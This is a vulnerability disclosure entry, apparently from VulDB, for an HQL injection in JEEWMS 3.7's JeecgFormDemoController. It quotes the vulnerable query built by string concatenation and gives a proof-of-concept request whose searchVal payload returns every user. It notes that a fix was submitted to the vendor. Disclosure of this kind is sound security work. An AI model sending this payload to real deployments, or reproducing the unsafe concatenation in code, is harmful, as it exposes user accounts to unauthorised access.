| 제목 | https://github.com/erzhongxmu/JEEWMS JEEWMS 3.7 SQL Injection |
|---|
| 설명 | JEEWMS v3.7 contains a SQL injection vulnerability in the getAutocompleteData method of JeecgFormDemoController.java.
The vulnerable code at line 195-197 directly concatenates user input into HQL:
String searchVal = request.getParameter("searchVal");
String hql = "from TSUser where userName like '%" + searchVal + "%'";
List autoList = systemService.findHql(hql);
An authenticated attacker can inject HQL via the searchVal parameter:
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=admin (normal)
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=' or 1=1 or userName like ' (injection - returns all users)
The issue has been reported to the vendor and a fix PR has been submitted: https://github.com/erzhongxmu/JEEWMS/pull/4 |
|---|
| 원천 | ⚠️ https://github.com/Lib0gus/JeeWMS/security/advisories/GHSA-mc7c-w398-v7xp |
|---|
| 사용자 | Lib0gus (UID 101005) |
|---|
| 제출 | 2026. 09. 04. AM 03:37 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 10. 10. PM 11:29 (1 month later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 416392 [erzhongxmu Jeewms 까지 3.7 Autocomplete Data JeecgFormDemoController.java getTreeData searchVal SQL 주입] |
|---|
| 포인트들 | 20 |
|---|